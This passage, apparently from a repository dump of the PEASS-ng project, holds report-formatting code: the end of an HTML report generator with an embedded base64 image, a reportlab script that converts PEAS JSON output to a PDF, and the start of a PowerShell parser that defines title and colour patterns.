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\" class = peass_image><br>\n        <div class = \"div_redyellow\">\n            <button type=\"button\" class=\"btn_redyellow\"> Only RedYellow </button>\n            <button type=\"button\" class=\"btn_red_redyellow\"> Only Red + RedYellow </button><br>\n            <button type=\"button\" class=\"btn_restore\"> All Colors </button>\n            <button type=\"button\" class=\"btn_show_all\"> Show All </button>\n            <button type=\"button\" class=\"btn_hide_all\"> Hide All </button>\n        </div>\"\"\"\n\n\n# Start execution\nif __name__ == \"__main__\":\n    try:\n        JSON_PATH = sys.argv[1]\n        HTML_PATH = sys.argv[2]\n    except IndexError as err:\n        print(\"Error: Please pass the peas.json file and the path to save the html\\npeas2html.py <json_file.json> <HTML_file.html>\")\n        sys.exit(1)\n    \n    main()"
  },
  {
    "path": "parsers/json2pdf.py",
    "content": "#!/usr/bin/env python3\nimport sys\nimport json\nimport html\nfrom reportlab.lib.pagesizes import letter\nfrom reportlab.platypus import Frame, Paragraph, Spacer, PageBreak,PageTemplate, BaseDocTemplate\nfrom reportlab.platypus.tableofcontents import TableOfContents\nfrom reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle\nfrom reportlab.lib.units import cm\n\nstyles = getSampleStyleSheet()\ntext_colors = { \"GREEN\": \"#00DB00\", \"RED\": \"#FF0000\", \"REDYELLOW\": \"#FFA500\", \"BLUE\": \"#0000FF\",\n    \"DARKGREY\": \"#5C5C5C\", \"YELLOW\": \"#ebeb21\", \"MAGENTA\": \"#FF00FF\", \"CYAN\": \"#00FFFF\", \"LIGHT_GREY\": \"#A6A6A6\"}\n\n# Required to automatically set Page Numbers\nclass PageTemplateWithCount(PageTemplate):\n    def __init__(self, id, frames, **kw):\n        PageTemplate.__init__(self, id, frames, **kw)\n\n    def beforeDrawPage(self, canvas, doc):\n        page_num = canvas.getPageNumber()\n        canvas.drawRightString(10.5*cm, 1*cm, str(page_num))\n\n# Required to automatically set the Table of Contents\nclass MyDocTemplate(BaseDocTemplate):\n    def __init__(self, filename, **kw):\n        self.allowSplitting = 0\n        BaseDocTemplate.__init__(self, filename, **kw)\n        template = PageTemplateWithCount(\"normal\", [Frame(2.5*cm, 2.5*cm, 15*cm, 25*cm, id='F1')])\n        self.addPageTemplates(template)\n\n    def afterFlowable(self, flowable):\n        if flowable.__class__.__name__ == \"Paragraph\":\n            text = flowable.getPlainText()\n            style = flowable.style.name\n            if style == \"Heading1\":\n                self.notify(\"TOCEntry\", (0, text, self.page))\n            if style == \"Heading2\":\n                self.notify(\"TOCEntry\", (1, text, self.page))\n            if style == \"Heading3\":\n                self.notify(\"TOCEntry\", (2, text, self.page))\n      \n\n# Poor take at dynamicly generating styles depending on depth(?)\ndef get_level_styles(level):\n    global styles\n    indent_value = 10 * (level - 1);\n    # Overriding some default stylings\n    level_styles = { \n        \"title\": ParagraphStyle(\n          **dict(styles[f\"Heading{level}\"].__dict__,\n          **{ \"leftIndent\": indent_value })),\n        \"text\": ParagraphStyle(\n          **dict(styles[\"Code\"].__dict__,\n          **{ \"backColor\": \"#F0F0F0\",\n          \"borderPadding\": 5, \"borderWidth\": 1,\n          \"borderColor\": \"black\", \"borderRadius\": 5,\n          \"leftIndent\": 5 + indent_value})),\n        \"info\": ParagraphStyle(\n          **dict(styles[\"Italic\"].__dict__,\n          **{ \"leftIndent\": indent_value })),\n    }\n    return level_styles\n\ndef get_colors_by_text(colors):\n    new_colors = {}\n    for (color, words) in colors.items():\n        for word in words:\n            new_colors[html.escape(word)] = color\n    return new_colors\n\ndef build_main_section(section, title, level=1):\n    styles = get_level_styles(level)\n    has_links = \"infos\" in section.keys() and len(section[\"infos\"]) > 0\n    has_lines = \"lines\" in section.keys() and len(section[\"lines\"]) > 1\n    has_children = \"sections\" in section.keys() and len(section[\"sections\"].keys()) > 0\n\n    # Only display data for Sections with results\n    show_section = has_lines or has_children\n\n    elements = []\n\n    if show_section:\n        elements.append(Paragraph(title, style=styles[\"title\"]))\n\n    # Print info if any\n    if show_section and has_links:\n        for info in section[\"infos\"]:\n            words = info.split() \n            # Join all lines and encode any links that might be present.\n            words = map(lambda word: f'<a href=\"{word}\" color=\"blue\">{word}</a>' if \"http\" in word else word, words)\n            words = \" \".join(words)\n            elements.append(Paragraph(words, style=styles[\"info\"] ))\n\n  # Print lines if any\n    if \"lines\" in section.keys() and len(section[\"lines\"]) > 1:\n        colors_by_line = list(map(lambda x: x[\"colors\"], section[\"lines\"]))\n        lines = list(map(lambda x: html.escape(x[\"clean_text\"]), section[\"lines\"]))\n        for (idx, line) in enumerate(lines):\n            colors = colors_by_line[idx]\n            colored_text = get_colors_by_text(colors)\n            colored_line = line\n            for (text, color) in colored_text.items():\n                if color == \"REDYELLOW\":\n                    colored_line = colored_line.replace(text, f'<font color=\"{text_colors[color]}\"><b>{text}</b></font>')\n                else:\n                    colored_line = colored_line.replace(text, f'<font color=\"{text_colors[color]}\">{text}</font>')\n            lines[idx] = colored_line\n        elements.append(Spacer(0, 10))\n        line = \"<br/>\".join(lines)\n\n    # If it's a top level entry remove the line break caused by an empty \"clean_text\"\n        if level == 1: line = line[5:]\n        elements.append(Paragraph(line, style=styles[\"text\"]))\n\n\n  # Print child sections\n    if has_children:\n        for child_title in section[\"sections\"].keys():\n            element_list = build_main_section(section[\"sections\"][child_title], child_title, level + 1)\n            elements.extend(element_list)\n  \n  # Add spacing at the end of section. The deeper the level the smaller the spacing.\n    if show_section:\n        elements.append(Spacer(1, 40 - (10 * level)))\n  \n    return elements\n  \n\ndef main():\n    with open(JSON_PATH) as file:\n        # Read and parse JSON file\n        data = json.loads(file.read())\n\n        # Default pdf values\n        doc = MyDocTemplate(PDF_PATH)\n        toc = TableOfContents()\n        toc.levelStyles = [\n            ParagraphStyle(name = \"Heading1\", fontSize = 14, leading=16),\n            ParagraphStyle(name = \"Heading2\", fontSize = 12, leading=14, leftIndent = 10),\n            ParagraphStyle(name = \"Heading3\", fontSize = 10, leading=12, leftIndent = 20),\n        ]\n\n        elements = [Paragraph(\"PEAS Report\", style=styles[\"Title\"]), Spacer(0, 30), toc, PageBreak()]\n      \n        # Iterate over all top level sections and build their elements.\n        for title in data.keys():\n            element_list = build_main_section(data[title], title)\n            elements.extend(element_list)\n      \n        doc.multiBuild(elements)\n\n# Start execution\nif __name__ == \"__main__\":\n    try:\n        JSON_PATH = sys.argv[1]\n        PDF_PATH = sys.argv[2]\n    except IndexError as err:\n        print(\"Error: Please pass the peas.json file and the path to save the pdf\\njson2pdf.py <json_file> <pdf_file.pdf>\")\n        sys.exit(1)\n    \n    main()\n"
  },
  {
    "path": "parsers/peas2json.ps1",
    "content": "# Based on https://github.com/peass-ng/PEASS-ng/blob/master/parsers/peas2json.py\r\n\r\n# Pattern to identify main section titles\r\n$CHAR_1 = [String][char]0x2550 # ═\r\n$CHAR_2 = [String][char]0x2554 # ╔\r\n$CHAR_3 = [String][char]0x2563 # ╣\r\n$CHAR_4 = [String][char]0x255a # ╚\r\n$TITLE_CHARS = [String][char]0x2550, [String][char]0x2554, [String][char]0x2563, [String][char]0x255a  # ═, ╔, ╣, ╚\r\n$TITLE1_PATTERN = $CHAR_1*14 + $CHAR_3 #══════════════╣#\r\n#The size of the first pattern varies, but at least should be that large\r\n$TITLE2_PATTERN = $CHAR_2 + $CHAR_1*10 + $CHAR_3 #╔══════════╣#\r\n$TITLE3_PATTERN = $CHAR_1*2 + $CHAR_3 #══╣#\r\n$INFO_PATTERN = $CHAR_4 #╚ #\r\n\r\n$encoding = [System.Text.Encoding]::UTF8\r\n\r\n# Patterns from color\r\n## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors)\r\n$global:COLORS = @{\r\n    \"REDYELLOW\" = \"\\x1b\\[1;31;103m\";\r\n    \"RED\" = \"\\x1b\\[1;31m\";\r\n    \"GREEN\" = 